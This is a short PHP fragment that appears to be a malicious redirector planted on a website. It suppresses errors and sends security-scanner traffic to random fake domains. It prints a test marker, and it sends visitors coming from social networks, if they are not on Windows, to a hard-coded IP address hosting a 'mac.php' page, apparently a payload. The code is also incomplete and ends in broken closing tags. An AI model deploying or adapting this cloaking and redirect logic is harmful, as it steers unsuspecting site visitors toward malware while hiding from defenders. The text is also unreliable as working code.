error_reporting(0); ini_set('display_errors', 0); ini_set('error_reporting', 0); function folder_rand() { $fold = ""; $count_ch = rand(5, 10); $alf = "abcdefghijklmnopqrstuvwxyz0123456789"; for ($i=0; $i<$count_ch; $i++) { $fold .= $alf[rand(0, strlen($alf)-1)]; } return $fold; } $pic_fn = "93by8d865sv-.jpg"; $swf_fn = "1pxpcxa7f-.swf"; $ip = $_SERVER['REMOTE_ADDR']; $tmp = explode(".", $ip); unset($tmp[3]); $net = trim(implode(".", $tmp)); $nax = "http://".folder_rand().".com/"; if ($net == "174.129.165" || strstr($_SERVER['HTTP_USER_AGENT'],'Python-urllib/1.17')) { header("location: ".$nax); } if (isset($_GET['test']) && $_GET['test']==1) { print "KROTEG"; exit(); } if (strstr($_SERVER['HTTP_REFERER'], "tagged.com") || strstr($_SERVER['HTTP_REFERER'], "myspace.com") || strstr($_SERVER['HTTP_REFERER'], "msplinks.com") || strstr($_SERVER['HTTP_REFERER'], "twitter.com") || strstr($_SERVER['HTTP_REFERER'], "hi5.com") || strstr($_SERVER['HTTP_REFERER'], "bebo.com") || strstr($_SERVER['HTTP_REFERER'], "google.com/reader/")) { $g_ref = true; } else { $g_ref = false; } if (isset($_REQUEST['go']) || $g_ref) { if (strpos($_SERVER['HTTP_USER_AGENT'],'Windows') == false) { $nax = "http://61.235.117.83/mac.php"; header("location: $nax"); exit; } ?> exit(); } ?>